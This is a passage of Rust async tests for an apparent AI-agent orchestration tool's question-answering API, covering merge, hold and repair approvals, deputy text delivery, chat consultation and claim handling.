12184 #[tokio::test]
12185 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12186 let fx = Fixture::start().await;
12187 let mut state = obsolete_approval_state();
12188 state.status = RunStatus::Landing;
12189 state.driver_exited = true;
12190 let mut q = Question::new(
12191 state.id.clone(),
12192 crate::land::APPROVAL_NODE.into(),
12193 "land".into(),
12194 "Obsolete approval".into(),
12195 String::new(),
12196 vec!["merge".into(), "hold".into()],
12197 );
12198 state.land_approval = Some(crate::run::LandApproval {
12199 question: q.id.clone(),
12200 head: "head".into(),
12201 });
12202 state.save_under(fx.home.path()).unwrap();
12203 fx.questions().put(&mut q).unwrap();
12204 let mut task = Task::new(
12205 "Owner".into(),
12206 "Original instruction".into(),
12207 state.repo.clone(),
12208 Source::Human,
12209 );
12210 task.runs = vec![state.id.clone(), "later-run".into()];
12211 fx.queue().put(&mut task).unwrap();
12212 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12213 let claim = fx.queue().claim(&task.id).unwrap();
12214 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12215 let path = format!("/api/questions/{}/answer", q.id);
12216 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12217 assert!(fx.questions().get(&q.id).unwrap().status.open());
12218 drop(claim);
12219 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12220 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12221 assert!(fx.questions().get(&q.id).unwrap().status.open());
12222 drop(publication);
12223 state.driver_exited = false;
12225 state.driver_pid = None;
12226 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12228 assert_eq!(
12229 state.liveness_under(fx.home.path(), false),
12230 crate::run::Liveness::Unknown
12231 );
12232
12233 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12234 state.driver_exited = true;
12235 state.land_armed_head = Some("head".into());
12236 state.save_under(fx.home.path()).unwrap();
12237 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12238 state.land_armed_head = None;
12239 state.save_under(fx.home.path()).unwrap();
12240 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12241 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12242 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12243 }
12244
12245 #[tokio::test]
12246 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12247 let fx = Fixture::start().await;
12248 let mut state = obsolete_approval_state();
12249 state.status = RunStatus::Landing;
12250 state.driver_exited = true;
12251 let mut q = Question::new(
12252 state.id.clone(),
12253 crate::land::APPROVAL_NODE.into(),
12254 "land".into(),
12255 "Obsolete approval".into(),
12256 String::new(),
12257 vec!["merge".into(), "hold".into()],
12258 );
12259 state.land_approval = Some(crate::run::LandApproval {
12260 question: q.id.clone(),
12261 head: "head".into(),
12262 });
12263 state.save_under(fx.home.path()).unwrap();
12264 fx.questions().put(&mut q).unwrap();
12265 let mut task = Task::new(
12266 "Owner".into(),
12267 "Original instruction".into(),
12268 state.repo.clone(),
12269 Source::Human,
12270 );
12271 task.runs.push(state.id.clone());
12272 task.status = TaskStatus::Parked;
12273 fx.queue().put(&mut task).unwrap();
12274 state.merge_decision = Some(crate::merge_decision::Decision {
12277 question: q.id.clone(),
12278 target: crate::merge_decision::Target {
12279 pr: state.pr.as_ref().unwrap().url.clone(),
12280 head: "head".into(),
12281 language: "ja".into(),
12282 },
12283 choice: crate::merge_decision::DISMISS.into(),
12284 closed: false,
12285 replacement_run: None,
12286 replacement_pr: None,
12287 });
12288 state.status = RunStatus::Superseded;
12289 state.save_under(fx.home.path()).unwrap();
12290 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12291 let path = format!("/api/questions/{}/answer", q.id);
12292 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12293 let done = fx.queue().get(&task.id).unwrap();
12294 assert_eq!(done.status, TaskStatus::Done);
12295 assert_eq!(done.runs, task.runs);
12296 assert_eq!(done.instruction, task.instruction);
12297 assert!(done.action_applied(&q.id));
12298 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12299 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12300 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12301 }
12302
12303 #[tokio::test]
12304 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12305 let home = TempDir::new().unwrap();
12306 let ui = Arc::new(Ui::new(
12307 Queue::at(home.path().join("queue")),
12308 Questions::at(home.path().join("questions")),
12309 Talks::at(home.path().join("talks")),
12310 home.path().join("runs"),
12311 home.path().to_owned(),
12312 home.path().to_owned(),
12313 ));
12314 let talks = &ui.talks;
12315 let chat =
12316 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12317 let mut q = Question::new(
12318 "run".into(),
12319 crate::land::APPROVAL_NODE.into(),
12320 "land".into(),
12321 "Merge?".into(),
12322 String::new(),
12323 vec!["merge".into(), "hold".into()],
12324 );
12325 q.routed_task = Some("task".into());
12326 q.routed_chat = Some(chat.id.clone());
12327 q.merge_target = Some(crate::merge_decision::Target {
12328 pr: "https://example.test/pull/1".into(),
12329 head: "head-a".into(),
12330 language: "en".into(),
12331 });
12332 ui.questions.put(&mut q).unwrap();
12333 let send = |body| {
12334 question_answer(
12335 State(ui.clone()),
12336 Path(q.id.clone()),
12337 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12338 )
12339 };
12340 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12341 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12342 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12343 assert!(send(wrong_chat).await.is_err());
12344 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12345 assert!(send(stale).await.is_err());
12346 assert!(ui.questions.get(&q.id).unwrap().status.open());
12347 assert!(send(button.clone()).await.is_ok());
12348 assert_eq!(
12349 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12350 Some("merge")
12351 );
12352 assert!(send(button).await.is_err());
12353 }
12354
12355 #[tokio::test]
12356 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12357 let home = TempDir::new().unwrap();
12358 let ui = Arc::new(Ui::new(
12359 Queue::at(home.path().join("queue")),
12360 Questions::at(home.path().join("questions")),
12361 Talks::at(home.path().join("talks")),
12362 home.path().join("runs"),
12363 home.path().to_owned(),
12364 home.path().to_owned(),
12365 ));
12366 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12367 let mut q = Question::new(
12368 "run".into(),
12369 crate::land::APPROVAL_NODE.into(),
12370 "land".into(),
12371 "Merge?".into(),
12372 String::new(),
12373 vec!["merge".into(), choice.into()],
12374 );
12375 q.routed_task = Some("task".into());
12376 q.merge_target = Some(crate::merge_decision::Target {
12377 pr: "https://example.test/pull/1".into(),
12378 head: "head-a".into(),
12379 language: "en".into(),
12380 });
12381 ui.questions.put(&mut q).unwrap();
12382 let answer = |c: &str| {
12383 question_answer(
12384 State(ui.clone()),
12385 Path(q.id.clone()),
12386 Ok(Json(
12387 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12388 .unwrap(),
12389 )),
12390 )
12391 };
12392 let _ = answer(choice).await.unwrap();
12393 assert_eq!(
12394 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12395 Some(choice)
12396 );
12397 }
12398 }
12399
12400 #[tokio::test]
12401 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12402 let home = TempDir::new().unwrap();
12403 let ui = Arc::new(Ui::new(
12404 Queue::at(home.path().join("queue")),
12405 Questions::at(home.path().join("questions")),
12406 Talks::at(home.path().join("talks")),
12407 home.path().join("runs"),
12408 home.path().to_owned(),
12409 home.path().to_owned(),
12410 ));
12411 let mut q = Question::new(
12412 "run".into(),
12413 crate::github_text::ASK_NODE.into(),
12414 "posting-gate".into(),
12415 "Post?".into(),
12416 String::new(),
12417 vec!["use fallback".into()],
12418 );
12419 q.routed_task = Some("task".into());
12420 ui.questions.put(&mut q).unwrap();
12421 let sent = question_answer(
12422 State(ui.clone()),
12423 Path(q.id.clone()),
12424 Ok(Json(
12425 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12426 .unwrap(),
12427 )),
12428 )
12429 .await;
12430 let _ = sent.unwrap();
12431 assert_eq!(
12432 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12433 Some("use fallback")
12434 );
12435 }
12436
12437 #[tokio::test]
12438 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12439 let fx = Fixture {
12440 home: TempDir::new().unwrap(),
12441 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12442 };
12443 for choice in [
12444 crate::land::HOLD,
12445 crate::land::REPAIR,
12446 crate::land::APPROVE,
12447 crate::merge_decision::WITHDRAW,
12448 "reimplement:beta",
12449 ] {
12450 let mut q = Question::new(
12451 "old-run".into(),
12452 crate::land::APPROVAL_NODE.into(),
12453 "land".into(),
12454 "Decision".into(),
12455 "Review findings".into(),
12456 vec![
12457 "merge".into(),
12458 "hold".into(),
12459 crate::land::REPAIR.into(),
12460 crate::merge_decision::WITHDRAW.into(),
12461 "reimplement:beta".into(),
12462 ],
12463 );
12464 q.merge_target = Some(crate::merge_decision::Target {
12465 pr: "https://github.com/example/repo/pull/42".into(),
12466 head: "exact-reviewed-head".into(),
12467 language: "ja".into(),
12468 });
12469 q.consult = Some(ask::ChatConsult {
12470 talk: "another-conversation".into(),
12471 at: jiff::Timestamp::now(),
12472 });
12473 fx.questions().put(&mut q).unwrap();
12474 let ui = Arc::new(Ui::new(
12475 fx.queue(),
12476 fx.questions(),
12477 fx.talks(),
12478 fx.runs(),
12479 fx.home.path().into(),
12480 std::path::PathBuf::from("."),
12481 ));
12482 let response = question_answer(
12483 State(ui.clone()),
12484 Path(q.id.clone()),
12485 Ok(Json(NewAnswer {
12486 choice: Some(choice.into()),
12487 text: None,
12488 ..Default::default()
12489 })),
12490 )
12491 .await
12492 .unwrap();
12493 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12494 let disk = fx.questions().get(&q.id).unwrap();
12495 assert_eq!(disk.merge_target, q.merge_target);
12496 assert_eq!(disk.consult, q.consult);
12497 assert_eq!(disk.resolution().as_deref(), Some(choice));
12498 assert!(
12499 question_answer(
12500 State(ui),
12501 Path(q.id.clone()),
12502 Ok(Json(NewAnswer {
12503 choice: Some("merge".into()),
12504 text: None,
12505 ..Default::default()
12506 }))
12507 )
12508 .await
12509 .is_err(),
12510 "an already settled decision cannot turn into merge approval"
12511 );
12512 }
12513 }
12514
12515 #[tokio::test]
12516 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12517 let fx = Fixture {
12518 home: TempDir::new().unwrap(),
12519 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12520 };
12521 let mut state = crate::land::tests::repair_state(true, true);
12522 state.status = RunStatus::Landing;
12523 state.parked = true;
12524 state.driver_exited = true;
12525 let mut task = Task::new(
12526 "Existing PR owner".into(),
12527 state.instruction.clone(),
12528 state.repo.clone(),
12529 Source::Human,
12530 );
12531 task.runs.push(state.id.clone());
12532 task.status = TaskStatus::Parked;
12533 fx.queue().put(&mut task).unwrap();
12534 let mut q = Question::new(
12535 state.id.clone(),
12536 crate::land::APPROVAL_NODE.into(),
12537 "land".into(),
12538 "Contested merge".into(),
12539 "Original evidence".into(),
12540 vec!["merge".into(), "hold".into()],
12541 );
12542 state.land_approval = Some(crate::run::LandApproval {
12543 question: q.id.clone(),
12544 head: "reviewed-head".into(),
12545 });
12546 state.save_under(fx.home.path()).unwrap();
12547 fx.questions().put(&mut q).unwrap();
12548 task.hold_manual(Some("Pause this PR".into()));
12550 fx.queue().put(&mut task).unwrap();
12551 let ui = Arc::new(Ui::new(
12554 fx.queue(),
12555 fx.questions(),
12556 fx.talks(),
12557 fx.runs(),
12558 fx.home.path().to_path_buf(),
12559 state.repo.clone(),
12560 ));
12561 let response = question_answer(
12562 State(ui),
12563 Path(q.id.clone()),
12564 Ok(Json(NewAnswer {
12565 choice: Some(crate::land::REPAIR.into()),
12566 text: None,
12567 ..Default::default()
12568 })),
12569 )
12570 .await
12571 .unwrap();
12572 assert_eq!(response.0.question.id, q.id);
12573 let upgraded = fx.questions().get(&q.id).unwrap();
12574 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12575 assert!(upgraded.detail.starts_with("Original evidence"));
12576 let claim = fx.queue().claim(&task.id).unwrap();
12577 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12578 assert!(
12579 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12580 "an existing driver keeps its claim"
12581 );
12582 drop(claim);
12583 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12584 let resumed = fx.queue().get(&task.id).unwrap();
12585 assert_eq!(
12586 resumed
12587 .resume_override
12588 .as_ref()
12589 .unwrap()
12590 .pinned_run
12591 .as_deref(),
12592 Some(state.id.as_str())
12593 );
12594 assert!(resumed.status.runnable());
12595 assert_eq!(resumed.instruction, task.instruction);
12596 assert_eq!(resumed.runs, task.runs);
12597 assert!(resumed.action_applied(&q.id));
12598 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12599 assert_eq!(fx.queue().list().len(), 1);
12600 assert_eq!(
12601 fx.queue().get(&task.id).unwrap().resume_override,
12602 resumed.resume_override
12603 );
12604 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12605 assert!(
12606 disk.merge_repairs.is_empty(),
12607 "only the claimed run driver may execute repair"
12608 );
12609 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12610 }
12611
12612 #[tokio::test]
12613 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12614 let fx = Fixture::start().await;
12615 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12616 let path = format!("/api/questions/{id}/answer");
12617
12618 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12619 assert_eq!(res.status, 200, "{}", res.body);
12620 let body = res.json();
12621 assert_eq!(body["status"], "answered");
12622 assert_eq!(body["answer"]["choice"], "Redis");
12623
12624 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12628 assert_eq!(again.status, 409, "{}", again.body);
12629 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12630 }
12631
12632 #[tokio::test]
12633 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12634 let home = tempfile::tempdir().unwrap();
12635 let ui = delta_test_ui(home.path());
12636 let mut q = Question::new(
12637 "task".into(),
12638 crate::land::APPROVAL_NODE.into(),
12639 "land".into(),
12640 "Explain?".into(),
12641 String::new(),
12642 vec!["hold".into()],
12643 );
12644 q.deputy = Some(ask::Deputy::new("context".into()));
12645 ui.questions.put(&mut q).unwrap();
12646 let mut cfg = stub_config();
12647 cfg.daemon.max_deputies = 0;
12648 let mut status = crate::daemon::Status::new();
12649 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12650 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12651 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12652 let error = question_say(
12653 State(ui.clone()),
12654 Path(q.id.clone()),
12655 Ok(Json(NewSay {
12656 body: "Explain the findings".into(),
12657 })),
12658 )
12659 .await
12660 .unwrap_err();
12661 assert_eq!(
12662 error.text_reason,
12663 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12664 );
12665 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12666
12667 let mut text = Question::new(
12668 "task".into(),
12669 "ask".into(),
12670 "operator".into(),
12671 "Which name?".into(),
12672 String::new(),
12673 vec![],
12674 );
12675 ui.questions.put(&mut text).unwrap();
12676 let Json(view) = question_answer(
12677 State(ui.clone()),
12678 Path(text.id.clone()),
12679 Ok(Json(NewAnswer {
12680 choice: None,
12681 text: Some("chosen name".into()),
12682 ..Default::default()
12683 })),
12684 )
12685 .await
12686 .unwrap();
12687 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12688 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12689 }
12690
12691 #[tokio::test]
12692 async fn question_text_handler_admission_without_transport() {
12693 let home = tempfile::tempdir().unwrap();
12694 let ui = delta_test_ui(home.path());
12695 let mut q = Question::new(
12696 "task".into(),
12697 crate::land::APPROVAL_NODE.into(),
12698 "land".into(),
12699 "May this PR merge?".into(),
12700 String::new(),
12701 vec!["hold".into()],
12702 );
12703 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12704 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12705 ui.questions.put(&mut q).unwrap();
12706 let say = || {
12707 Ok(Json(NewSay {
12708 body: "Explain the findings".into(),
12709 }))
12710 };
12711 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12712 .await
12713 .unwrap_err();
12714 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12715 let response = rejected.into_response();
12716 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12717 .await
12718 .unwrap();
12719 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12720 assert_eq!(body["code"], "question_text_unavailable");
12721 assert_eq!(body["reason"], "deputy_exhausted");
12722 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12723 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12724 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12725 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12726 .await
12727 .unwrap();
12728 assert_eq!(view.text_delivery.state, "live");
12729 assert!(view.question.waiter.is_none());
12730 assert!(view.question.cwd.is_none());
12731 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12732 ui.questions.drop_lease(&q.id);
12733 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12734 .await
12735 .unwrap_err();
12736 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12737 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12738 let _ = question_answer(
12739 State(ui.clone()),
12740 Path(q.id.clone()),
12741 Ok(Json(NewAnswer {
12742 choice: Some("hold".into()),
12743 text: None,
12744 ..Default::default()
12745 })),
12746 )
12747 .await
12748 .unwrap();
12749 assert_eq!(
12750 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12751 Some("hold")
12752 );
12753 }
12754
12755 #[tokio::test]
12756 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12757 let fx = Fixture::start().await;
12758 let store = fx.questions();
12759 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12760 store
12761 .update(&id, |q| {
12762 q.node = crate::land::APPROVAL_NODE.to_owned();
12763 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12764 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12765 Ok(())
12766 })
12767 .unwrap();
12768 let path = format!("/api/questions/{id}/say");
12769 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12770 assert_eq!(refused.status, 422, "{}", refused.body);
12771 assert!(
12772 refused.json()["error"]
12773 .as_str()
12774 .unwrap()
12775 .contains("deputy_exhausted")
12776 );
12777 assert!(store.get(&id).unwrap().thread.is_empty());
12778
12779 store.beat(&id, ask::WaiterKind::Deputy);
12781 let view = fx.get("/api/questions").await.json();
12782 assert_eq!(view[0]["text_delivery"]["state"], "live");
12783 let accepted = fx
12784 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12785 .await;
12786 assert_eq!(accepted.status, 200, "{}", accepted.body);
12787 let before = std::fs::read(store.path_of(&id)).unwrap();
12788
12789 store.drop_lease(&id);
12792 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12793 assert_eq!(refused.status, 422, "{}", refused.body);
12794 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12795 let held = fx
12796 .post(
12797 &format!("/api/questions/{id}/answer"),
12798 Some(r#"{"choice":"hold"}"#),
12799 )
12800 .await;
12801 assert_eq!(held.status, 200, "{}", held.body);
12802 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12803 }
12804
12805 #[tokio::test]
12806 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12807 let repo = tempfile::tempdir().unwrap();
12808 let mut cfg = stub_config();
12809 cfg.daemon.max_deputies = 0;
12810 std::fs::write(
12811 repo.path().join("magi.toml"),
12812 toml::to_string(&cfg).unwrap(),
12813 )
12814 .unwrap();
12815 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12816 let mut status = crate::daemon::Status::new();
12817 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12818 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12819 let id = ask(&fx, "Explain?", &["hold"]);
12820 fx.questions()
12821 .update(&id, |q| {
12822 q.node = crate::land::APPROVAL_NODE.into();
12823 q.deputy = Some(ask::Deputy::new("context".into()));
12824 q.deputy.as_mut().unwrap().agent = "stub".into();
12825 Ok(())
12826 })
12827 .unwrap();
12828 cfg.daemon.max_deputies = 1;
12829 std::fs::write(
12830 repo.path().join("magi.toml"),
12831 toml::to_string(&cfg).unwrap(),
12832 )
12833 .unwrap();
12834 let view = fx.get("/api/questions").await.json();
12835 assert_eq!(view[0]["deputies_enabled"], true);
12836 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12837 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12838 let res = fx
12839 .post(
12840 &format!("/api/questions/{id}/say"),
12841 Some(r#"{"body":"Please explain"}"#),
12842 )
12843 .await;
12844 assert_eq!(res.status, 422, "{}", res.body);
12845 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12846 }
12847
12848 #[tokio::test]
12849 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12850 let fx = Fixture::start().await;
12851 let id = ask(&fx, "No seat", &[]);
12852 let store = fx.questions();
12853 let before = std::fs::read(store.path_of(&id)).unwrap();
12854 let res = fx
12855 .post(
12856 &format!("/api/questions/{id}/say"),
12857 Some(r#"{"body":"hello"}"#),
12858 )
12859 .await;
12860 assert_eq!(res.status, 422, "{}", res.body);
12861 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12862 let res = fx
12863 .post(
12864 &format!("/api/questions/{id}/answer"),
12865 Some(r#"{"text":"hello"}"#),
12866 )
12867 .await;
12868 assert_eq!(res.status, 200, "{}", res.body);
12869 assert_eq!(
12870 store.get(&id).unwrap().resolution().as_deref(),
12871 Some("hello")
12872 );
12873 }
12874
12875 #[tokio::test]
12876 async fn saying_something_appends_a_turn_without_answering() {
12877 let fx = Fixture::start().await;
12878 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12879 fx.questions().beat(&id, ask::WaiterKind::Asker);
12880 let path = format!("/api/questions/{id}/say");
12881
12882 let res = fx
12883 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12884 .await;
12885 assert_eq!(res.status, 200, "{}", res.body);
12886 let body = res.json();
12887 assert_eq!(body["status"], "open", "talking back is not a decision");
12888 assert_eq!(body["answer"], Value::Null);
12889 assert_eq!(body["thread"][0]["who"], "operator");
12890 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12891 assert_eq!(body["waiting_on_agent"], true);
12892 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12894 }
12895
12896 #[tokio::test]
12897 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12898 let fx = Fixture::start().await;
12899 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12900
12901 let list = fx.get("/api/questions").await.json();
12902 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12903
12904 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12905 assert_eq!(res.status, 409, "{}", res.body);
12906 let q = fx.questions().get(&id).unwrap();
12907 assert!(q.status.open());
12908 assert!(q.consult.is_none());
12909 }
12910
12911 #[tokio::test]
12912 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12913 let fx = Fixture::start().await;
12914 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12915 let cfg = Config {
12916 agents: vec![crate::config::AgentSpec {
12917 id: "mock".to_owned(),
12918 kind: crate::config::AgentKind::Command,
12919 model: None,
12920 command: vec!["true".to_owned()],
12921 extra_args: Vec::new(),
12922 env: Default::default(),
12923 prompt_delivery: None,
12924 max_turn_secs: None,
12925 }],
12926 ..Config::default()
12927 };
12928 let talk = crate::talk::begin(
12929 &fx.talks(),
12930 &cfg,
12931 fx.home.path().to_path_buf(),
12932 Some("mock"),
12933 )
12934 .unwrap();
12935 let mut task = Task::new(
12936 "t".to_owned(),
12937 "Do it".to_owned(),
12938 PathBuf::from("/repo/magi"),
12939 Source::Agent {
12940 run: talk.id.clone(),
12941 node: crate::queue::CHAT_NODE.to_owned(),
12942 },
12943 );
12944 task.start("20260902-000000-beef".to_owned());
12945 fx.queue().put(&mut task).unwrap();
12946
12947 let list = fx.get("/api/questions").await.json();
12948 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12949 assert_eq!(
12950 list[0]["choices"],
12951 serde_json::json!(["SQLite", "Redis"]),
12952 "the hand-over is never a choice"
12953 );
12954 fx.questions()
12955 .update(&id, |q| {
12956 q.node = crate::land::APPROVAL_NODE.into();
12957 q.choices = vec!["merge".into(), "hold".into()];
12958 Ok(())
12959 })
12960 .unwrap();
12961 let list = fx.get("/api/questions").await.json();
12962 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12963 assert_eq!(list[0]["can_consult_chat"], true);
12964 fx.questions()
12965 .update(&id, |q| {
12966 q.node = crate::bump::NOTICE_NODE.into();
12967 Ok(())
12968 })
12969 .unwrap();
12970 let list = fx.get("/api/questions").await.json();
12971 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12972 assert_eq!(list[0]["can_consult_chat"], false);
12973 }
12974
12975 #[tokio::test]
12976 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12977 let fx = Fixture::start().await;
12978 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12979 fx.questions()
12980 .update(&id, |q| {
12981 q.node = crate::land::APPROVAL_NODE.into();
12982 q.choices = vec!["merge".into(), "hold".into()];
12983 Ok(())
12984 })
12985 .unwrap();
12986 let cfg = Config {
12987 agents: vec![crate::config::AgentSpec {
12988 id: "mock".to_owned(),
12989 kind: crate::config::AgentKind::Command,
12990 model: None,
12991 command: vec!["true".to_owned()],
12992 extra_args: Vec::new(),
12993 env: Default::default(),
12994 prompt_delivery: None,
12995 max_turn_secs: None,
12996 }],
12997 ..Config::default()
12998 };
12999 let repo = fx.home.path().join("chat-repo");
13001 std::fs::create_dir_all(&repo).unwrap();
13002 let toml = repo.join("magi.toml");
13003 std::fs::write(&toml, "this is = = not toml").unwrap();
13004 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13005 let mut task = Task::new(
13006 "t".to_owned(),
13007 "Do it".to_owned(),
13008 PathBuf::from("/repo/magi"),
13009 Source::Agent {
13010 run: talk.id.clone(),
13011 node: crate::queue::CHAT_NODE.to_owned(),
13012 },
13013 );
13014 task.start("20260902-000000-beef".to_owned());
13015 fx.queue().put(&mut task).unwrap();
13016
13017 let path = format!("/api/questions/{id}/consult");
13018 let res = fx.post(&path, None).await;
13019 assert!(res.status >= 400, "{}", res.body);
13020 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13021 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13022
13023 std::fs::write(&toml, "").unwrap();
13024 let res = fx.post(&path, None).await;
13025 assert_eq!(res.status, 202, "{}", res.body);
13026 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13027 let q = fx.questions().get(&id).unwrap();
13028 assert!(q.status.open());
13029 assert!(q.answer.is_none());
13030 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13031 assert_eq!(res.json()["can_consult_chat"], true);
13032 let list = fx.get("/api/questions").await.json();
13033 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13034 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13035
13036 let res = fx
13037 .post(
13038 &format!("/api/questions/{id}/answer"),
13039 Some(r#"{"choice":"hold"}"#),
13040 )
13041 .await;
13042 assert_eq!(res.status, 200, "{}", res.body);
13043 assert_eq!(res.json()["answer"]["choice"], "hold");
13044 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13045 assert_eq!(res.json()["can_consult_chat"], false);
13046 assert_eq!(fx.post(&path, None).await.status, 409);
13047
13048 let mut talk = fx.talks().get(&talk.id).unwrap();
13049 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13050 let list = fx.get("/api/questions").await.json();
13051 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13052 assert_eq!(list[0]["origin_chat_closed"], true);
13053 assert_eq!(list[0]["can_consult_chat"], false);
13054
13055 fx.talks().remove(&talk.id).unwrap();
13056 let list = fx.get("/api/questions").await.json();
13057 assert_eq!(list[0]["origin_chat"], Value::Null);
13058 assert_eq!(list[0]["origin_chat_closed"], false);
13059 assert_eq!(list[0]["can_consult_chat"], false);
13060 }
13061
13062 #[tokio::test]
13063 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13064 let fx = Fixture::start().await;
